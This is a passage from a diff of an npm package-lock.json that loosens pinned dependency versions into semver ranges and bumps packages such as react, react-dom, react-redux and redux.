}, "has-flag": { @@ -13113,7 +13158,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -13124,7 +13169,7 @@ "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", "dev": true, "requires": { - "postcss": "6.0.23" + "postcss": "^6.0.1" } }, "postcss-modules-local-by-default": { @@ -13133,8 +13178,8 @@ "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", "dev": true, "requires": { - "css-selector-tokenizer": "0.7.0", - "postcss": "6.0.23" + "css-selector-tokenizer": "^0.7.0", + "postcss": "^6.0.1" } }, "postcss-modules-scope": { @@ -13143,8 +13188,8 @@ "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", "dev": true, "requires": { - "css-selector-tokenizer": "0.7.0", - "postcss": "6.0.23" + "css-selector-tokenizer": "^0.7.0", + "postcss": "^6.0.1" } }, "postcss-modules-values": { @@ -13153,8 +13198,8 @@ "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", "dev": true, "requires": { - "icss-replace-symbols": "1.1.0", - "postcss": "6.0.23" + "icss-replace-symbols": "^1.1.0", + "postcss": "^6.0.1" } }, "postcss-value-parser": { @@ -13182,8 +13227,8 @@ "integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=", "dev": true, "requires": { - "renderkid": "2.0.1", - "utila": "0.4.0" + "renderkid": "^2.0.1", + "utila": "~0.4" } }, "private": { @@ -13221,8 +13266,8 @@ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", "requires": { - "loose-envify": "1.3.1", - "object-assign": "4.1.1" + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" } }, "prop-types-extra": { @@ -13230,8 +13275,8 @@ "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz", "integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==", "requires": { - "react-is": "16.5.2", - "warning": "3.0.0" + "react-is": "^16.3.2", + "warning": "^3.0.0" } }, "propagating-hammerjs": { @@ -13239,7 +13284,7 @@ "resolved": "https://registry.npmjs.org/propagating-hammerjs/-/propagating-hammerjs-1.4.6.tgz", "integrity": "sha1-/tAOmwB2f/1C0U9bUxvEk+tnLjc=", "requires": { - "hammerjs": "2.0.8" + "hammerjs": "^2.0.6" } }, "proxy-addr": { @@ -13248,7 +13293,7 @@ "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", "dev": true, "requires": { - "forwarded": "0.1.2", + "forwarded": "~0.1.2", "ipaddr.js": "1.8.0" } }, @@ -13275,12 +13320,12 @@ "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==", "dev": true, "requires": { - "bn.js": "4.11.8", - "browserify-rsa": "4.0.1", - "create-hash": "1.2.0", - "parse-asn1": "5.1.1", - "randombytes": "2.0.6", - "safe-buffer": "5.1.2" + "bn.js": "^4.1.0", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "parse-asn1": "^5.0.0", + "randombytes": "^2.0.1", + "safe-buffer": "^5.1.2" }, "dependencies": { "safe-buffer": { @@ -13297,8 +13342,8 @@ "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", "dev": true, "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" + "end-of-stream": "^1.1.0", + "once": "^1.3.1" } }, "pumpify": { @@ -13307,9 +13352,9 @@ "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", "dev": true, "requires": { - "duplexify": "3.6.0", - "inherits": "2.0.3", - "pump": "2.0.1" + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" } }, "punycode": { @@ -13366,8 +13411,8 @@ "dev": true, "optional": true, "requires": { - "is-number": "3.0.0", - "kind-of": "4.0.0" + "is-number": "^3.0.0", + "kind-of": "^4.0.0" }, "dependencies": { "is-number": { @@ -13377,7 +13422,7 @@ "dev": true, "optional": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -13387,7 +13432,7 @@ "dev": true, "optional": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -13399,7 +13444,7 @@ "dev": true, "optional": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -13410,7 +13455,7 @@ "integrity": "sha512-CIQ5OFxf4Jou6uOKe9t1AOgqpeU5fd70A8NPdHSGeYXqXsPe6peOwI0cUl88RWZ6sP1vPMV3avd/R6cZ5/sP1A==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "^5.1.0" } }, "randomfill": { @@ -13419,8 +13464,8 @@ "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", "dev": true, "requires": { - "randombytes": "2.0.6", - "safe-buffer": "5.1.1" + "randombytes": "^2.0.5", + "safe-buffer": "^5.1.0" } }, "range-parser": { @@ -13447,7 +13492,7 @@ "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", "dev": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": ">= 2.1.2 < 3" } } } @@ -13457,19 +13502,19 @@ "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.6.tgz", "integrity": "sha512-73Ul9WrWf474q0ze+XblpcR8q2No0tybHt+zdGXYyQ7fUZy4b+I5dUQcoxr9UXY6W5Ele9ZsPWJWHSDz/IAOUw==", "requires": { - "babel-runtime": "6.25.0", - "prop-types": "15.6.2" + "babel-runtime": "6.x", + "prop-types": "^15.5.8" } }, "react": { - "version": "16.5.2", - "resolved": "https://registry.npmjs.org/react/-/react-16.5.2.tgz", - "integrity": "sha512-FDCSVd3DjVTmbEAjUNX6FgfAmQ+ypJfHUsqUJOYNCBUp1h8lqmtC+0mXJ+JjsWx4KAVTkk1vKd1hLQPvEviSuw==", + "version": "16.6.3", + "resolved": "https://registry.npmjs.org/react/-/react-16.6.3.tgz", + "integrity": "sha512-zCvmH2vbEolgKxtqXL2wmGCUxUyNheYn/C+PD1YAjfxHC54+MhdruyhO7QieQrYsYeTxrn93PM2y0jRH1zEExw==", "requires": { - "loose-envify": "1.3.1", - "object-assign": "4.1.1", - "prop-types": "15.6.2", - "schedule": "0.5.0" + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.11.2" } }, "react-addons-test-utils": { @@ -13483,10 +13528,10 @@ "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz", "integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=", "requires": { - "base16": "1.0.0", - "lodash.curry": "4.1.1", - "lodash.flow": "3.5.0", - "pure-color": "1.3.0" + "base16": "^1.0.0", + "lodash.curry": "^4.0.1", + "lodash.flow": "^3.3.0", + "pure-color": "^1.2.0" } }, "react-bootstrap": { @@ -13494,18 +13539,18 @@ "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz", "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==", "requires": { - "@babel/runtime-corejs2": "7.1.2", - "classnames": "2.2.5", - "dom-helpers": "3.3.1", - "invariant": "2.2.4", - "keycode": "2.2.0", - "prop-types": "15.6.2", - "prop-types-extra": "1.1.0", - "react-overlays": "0.8.3", - "react-prop-types": "0.4.0", - "react-transition-group": "2.5.0", - "uncontrollable": "5.1.0", - "warning": "3.0.0" + "@babel/runtime-corejs2": "^7.0.0", + "classnames": "^2.2.5", + "dom-helpers": "^3.2.0", + "invariant": "^2.2.4", + "keycode": "^2.2.0", + "prop-types": "^15.6.1", + "prop-types-extra": "^1.0.1", + "react-overlays": "^0.8.0", + "react-prop-types": "^0.4.0", + "react-transition-group": "^2.0.0", + "uncontrollable": "^5.0.0", + "warning": "^3.0.0" }, "dependencies": { "invariant": { @@ -13513,7 +13558,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } } } @@ -13523,8 +13568,8 @@ "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", "requires": { - "copy-to-clipboard": "3.0.8", - "prop-types": "15.6.2" + "copy-to-clipboard": "^3", + "prop-types": "^15.5.8" } }, "react-data-components": { @@ -13532,8 +13577,8 @@ "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "4.17.10", - "prop-types": "15.6.2" + "lodash": "^4.13.1", + "prop-types": "^15.5.10" } }, "react-dimensions": { @@ -13541,18 +13586,18 @@ "resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz", "integrity": "sha512-go5vMuGUxaB5PiTSIk+ZfAxLbHwcIgIfLhkBZ2SIMQjaCgnpttxa30z5ijEzfDjeOCTGRpxvkzcmE4Vt4Ppvyw==", "requires": { - "element-resize-event": "2.0.9" + "element-resize-event": "^2.0.4" } }, "react-dom": { - "version": "16.5.2", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.5.2.tgz", - "integrity": "sha512-RC8LDw8feuZOHVgzEf7f+cxBr/DnKdqp56VU0lAs1f4UfKc4cU8wU4fTq/mgnvynLQo8OtlPC19NUFh/zjZPuA==", + "version": "16.6.3", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.6.3.tgz", + "integrity": "sha512-8ugJWRCWLGXy+7PmNh8WJz3g1TaTUt1XyoIcFN+x0Zbkoz+KKdUyx1AQLYJdbFXjuF41Nmjn5+j//rxvhFjgSQ==", "requires": { - "loose-envify": "1.3.1", - "object-assign": "4.1.1", - "prop-types": "15.6.2", - "schedule": "0.5.0" + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.11.2" } }, "react-fa": { @@ -13560,8 +13605,8 @@ "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", "integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==", "requires": { - "font-awesome": "4.7.0", - "prop-types": "15.6.2" + "font-awesome": "^4.3.0", + "prop-types": "^15.5.8" } }, "react-graph-vis": { @@ -13569,10 +13614,10 @@ "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", "integrity": "sha512-qVFWtvLVJgnYGtpOPHtg1RIW4xNm9Hd4GXgJy1IYrlYZYkOQW0snSOMr24c6R8Vcad1oU70iqgKR381GDDwrBA==", "requires": { - "lodash": "4.17.10", - "prop-types": "15.6.2", - "uuid": "2.0.3", - "vis": "4.21.0" + "lodash": "^4.17.4", + "prop-types": "^15.5.10", + "uuid": "^2.0.1", + "vis": "^4.18.1" }, "dependencies": { "uuid": { @@ -13588,39 +13633,39 @@ "integrity": "sha512-T0G5jURyTsFLoiW6MTr5Q35UHC/B2pmYJ7+VBjk8yMDCEABRmCGy4g6QwxoB4pWg4/xYvVTa/Pbqnsgx/+NLuA==", "dev": true, "requires": { - "fast-levenshtein": "2.0.6", - "global": "4.3.2", - "hoist-non-react-statics": "2.5.5", - "prop-types": "15.6.2", - "react-lifecycles-compat": "3.0.4", - "shallowequal": "1.1.0" + "fast-levenshtein": "^2.0.6", + "global": "^4.3.0", + "hoist-non-react-statics": "^2.5.0", + "prop-types": "^15.6.1", + "react-lifecycles-compat": "^3.0.4", + "shallowequal": "^1.0.2" } }, "react-is": { - "version": "16.5.2", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.5.2.tgz", - "integrity": "sha512-hSl7E6l25GTjNEZATqZIuWOgSnpXb3kD0DVCujmg46K5zLxsbiKaaT6VO9slkSBDPZfYs30lwfJwbOFOnoEnKQ==" + "version": "16.6.3", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.6.3.tgz", + "integrity": "sha512-u7FDWtthB4rWibG/+mFbVd5FvdI20yde86qKGx4lVUTWmPlSWQ4QxbBIrrs+HnXGbxOUlUzTAP/VDmvCwaP2yA==" }, "react-json-tree": { "version": "0.11.0", "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.0.tgz", "integrity": "sha1-9bF+gzKanHauOL5cBP2jp/1oSjU=", "requires": { - "babel-runtime": "6.25.0", - "prop-types": "15.6.2", - "react-base16-styling": "0.5.3" + "babel-runtime": "^6.6.1", + "prop-types": "^15.5.8", + "react-base16-styling": "^0.5.1" } }, "react-jsonschema-form": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.5.tgz", - "integrity": "sha512-idnHVkOtRDspajpc4+IfLx9gLCnqJc5zZqEqUoc7SzjSVdCRAMaxT5Qr5lPdgzb8mRcJSXaXI+qwlVfKScrLBg==", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.6.tgz", + "integrity": "sha512-F6441MjApWHiFU/98T+fM19kBP9Ib0b3GMOB5DNyXnfMYC35CLwaANeZsTHug0HAmXGxgG+caPZSxgJSAyPz1Q==", "requires": { - "ajv": "5.5.2", - "babel-runtime": "6.26.0", - "core-js": "2.5.7", - "lodash.topath": "4.5.2", - "prop-types": "15.6.2" + "ajv": "^5.2.3", + "babel-runtime": "^6.26.0", + "core-js": "^2.5.7", + "lodash.topath": "^4.5.2", + "prop-types": "^15.5.8" }, "dependencies": { "ajv": { @@ -13628,10 +13673,10 @@ "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", "requires": { - "co": "4.6.0", - "fast-deep-equal": "1.1.0", - "fast-json-stable-stringify": "2.0.0", - "json-schema-traverse": "0.3.1" + "co": "^4.6.0", + "fast-deep-equal": "^1.0.0", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.3.0" } }, "babel-runtime": { @@ -13639,8 +13684,8 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.1" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" } }, "regenerator-runtime": { @@ -13660,12 +13705,12 @@ "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", "integrity": "sha512-h6GT3jgy90PgctleP39Yu3eK1v9vaJAW73GOA/UbN9dJ7aAN4BTZD6793eI1D5U+ukMk17qiqN/wl3diK1Z5LA==", "requires": { - "classnames": "2.2.5", - "dom-helpers": "3.3.1", - "prop-types": "15.6.2", - "prop-types-extra": "1.1.0", - "react-transition-group": "2.5.0", - "warning": "3.0.0" + "classnames": "^2.2.5", + "dom-helpers": "^3.2.1", + "prop-types": "^15.5.10", + "prop-types-extra": "^1.0.1", + "react-transition-group": "^2.2.0", + "warning": "^3.0.0" } }, "react-prop-types": { @@ -13673,36 +13718,38 @@ "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", "requires": { - "warning": "3.0.0" + "warning": "^3.0.0" } }, "react-redux": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.7.tgz", - "integrity": "sha512-5VI8EV5hdgNgyjfmWzBbdrqUkrVRKlyTKk1sGH3jzM2M2Mhj/seQgPXaz6gVAj2lz/nz688AdTqMO18Lr24Zhg==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.1.tgz", + "integrity": "sha512-LE7Ned+cv5qe7tMV5BPYkGQ5Lpg8gzgItK07c67yHvJ8t0iaD9kPFPAli/mYkiyJYrs2pJgExR2ZgsGqlrOApg==", "requires": { - "hoist-non-react-statics": "2.5.0", - "invariant": "2.2.2", - "lodash": "4.17.10", - "lodash-es": "4.17.10", - "loose-envify": "1.3.1", - "prop-types": "15.6.2" + "@babel/runtime": "^7.1.2", + "hoist-non-react-statics": "^3.1.0", + "invariant": "^2.2.4", + "loose-envify": "^1.1.0", + "prop-types": "^15.6.1", + "react-is": "^16.6.0", + "react-lifecycles-compat": "^3.0.0" }, "dependencies": { "hoist-non-react-statics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.0.tgz", - "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.1.0.tgz", + "integrity": "sha512-MYcYuROh7SBM69xHGqXEwQqDux34s9tz+sCnxJmN18kgWh6JFdTw/5YdZtqsOdZJXddE/wUpCzfEdDrJj8p0Iw==", + "requires": { + "react-is": "^16.3.2" + } }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - }, - "lodash-es": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.10.tgz", - "integrity": "sha512-iesFYPmxYYGTcmQK0sL8bX3TGHyM6b2qREaB4kamHfQyfPJP0xgoGxp19nsH16nsfquLdiyKyX3mQkfiSGV8Rg==" + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "^1.0.0" + } } } }, @@ -13711,13 +13758,13 @@ "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz", "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==", "requires": { - "history": "4.7.2", - "hoist-non-react-statics": "2.5.5", - "invariant": "2.2.4", - "loose-envify": "1.3.1", - "path-to-regexp": "1.7.0", - "prop-types": "15.6.2", - "warning": "4.0.1" + "history": "^4.7.2", + "hoist-non-react-statics": "^2.5.0", + "invariant": "^2.2.4", + "loose-envify": "^1.3.1", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.1", + "warning": "^4.0.1" }, "dependencies": { "invariant": { @@ -13725,7 +13772,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } }, "path-to-regexp": { @@ -13737,11 +13784,11 @@ } }, "warning": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.1.tgz", - "integrity": "sha512-rAVtTNZw+cQPjvGp1ox0XC5Q2IBFyqoqh+QII4J/oguyu83Bax1apbo2eqB8bHRS+fqYUBagys6lqUoVwKSmXQ==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz", + "integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } } } @@ -13751,12 +13798,12 @@ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz", "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==", "requires": { - "history": "4.7.2", - "invariant": "2.2.4", - "loose-envify": "1.3.1", - "prop-types": "15.6.2", - "react-router": "4.3.1", - "warning": "4.0.1" + "history": "^4.7.2", + "invariant": "^2.2.4", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.1", + "react-router": "^4.3.1", + "warning": "^4.0.1" }, "dependencies": { "invariant": { @@ -13764,15 +13811,15 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } }, "warning": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.1.tgz", - "integrity": "sha512-rAVtTNZw+cQPjvGp1ox0XC5Q2IBFyqoqh+QII4J/oguyu83Bax1apbo2eqB8bHRS+fqYUBagys6lqUoVwKSmXQ==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz", + "integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } } } @@ -13782,7 +13829,7 @@ "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.6.tgz", "integrity": "sha1-oK2LSDkxkFLVvvwBJgP7Fh5S7eM=", "requires": { - "classnames": "2.2.5" + "classnames": "^2.2.5" } }, "react-toggle": { @@ -13790,7 +13837,7 @@ "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz", "integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==", "requires": { - "classnames": "2.2.5" + "classnames": "^2.2.5" } }, "react-transition-group": { @@ -13798,10 +13845,10 @@ "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz", "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==", "requires": { - "dom-helpers": "3.3.1", - "loose-envify": "1.4.0", - "prop-types": "15.6.2", - "react-lifecycles-compat": "3.0.4" + "dom-helpers": "^3.3.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2", + "react-lifecycles-compat": "^3.0.4" }, "dependencies": { "loose-envify": { @@ -13809,7 +13856,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "3.0.2" + "js-tokens": "^3.0.0 || ^4.0.0" } } } @@ -13820,9 +13867,9 @@ "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", "dev": true, "requires": { - "load-json-file": "1.1.0", - "normalize-package-data": "2.4.0", - "path-type": "1.1.0" + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" } }, "read-pkg-up": { @@ -13831,8 +13878,8 @@ "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", "dev": true, "requires": { - "find-up": "1.1.2", - "read-pkg": "1.1.0" + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" } }, "readable-stream": { @@ -13841,10 +13888,10 @@ "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", "isarray": "0.0.1", - "string_decoder": "0.10.31" + "string_decoder": "~0.10.x" } }, "readdirp": { @@ -13853,10 +13900,10 @@ "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "minimatch": "3.0.4", - "readable-stream": "2.3.3", - "set-immediate-shim": "1.0.1" + "graceful-fs": "^4.1.2", + "minimatch": "^3.0.2", + "readable-stream": "^2.0.2", + "set-immediate-shim": "^1.0.1" }, "dependencies": { "isarray": { @@ -13871,13 +13918,13 @@ "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "1.0.7", - "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.0.3", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -13886,7 +13933,7 @@ "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -13898,9 +13945,9 @@ "dev": true, "requires": { "ast-types": "0.9.6", - "esprima": "3.1.3", - "private": "0.1.7", - "source-map": "0.5.6" + "esprima": "~3.1.0", + "private": "~0.1.5", + "source-map": "~0.5.0" }, "dependencies": { "esprima": { @@ -13917,17 +13964,27 @@ "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", "dev": true, "requires": { - "indent-string": "2.1.0", - "strip-indent": "1.0.1" + "indent-string": "^2.1.0", + "strip-indent": "^1.0.1" } }, "redux": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.0.tgz", - "integrity": "sha512-NnnHF0h0WVE/hXyrB6OlX67LYRuaf/rJcbWvnHHEPCF/Xa/AZpwhs/20WyqzQae5x4SD2F9nPObgBh2rxAgLiA==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.1.tgz", + "integrity": "sha512-R7bAtSkk7nY6O/OYMVR9RiBI+XghjF9rlbl5806HJbQph0LJVHZrU5oaO4q70eUKiqMRqm4y07KLTlMZ2BlVmg==", "requires": { - "loose-envify": "1.3.1", - "symbol-observable": "1.2.0" + "loose-envify": "^1.4.0", + "symbol-observable": "^1.2.0" + }, + "dependencies": { + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "^3.0.0 || ^4.0.0" + } + } } }, "regenerate": { @@ -13947,9 +14004,9 @@ "integrity": "sha1-On0GdSDLe3F2dp61/4aGkb7+EoM=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0", - "private": "0.1.7" + "babel-runtime": "^6.18.0", + "babel-types": "^6.19.0", + "private": "^0.1.6" } }, "regex-cache": { @@ -13959,8 +14016,8 @@ "dev": true, "optional": true, "requires": { - "is-equal-shallow": 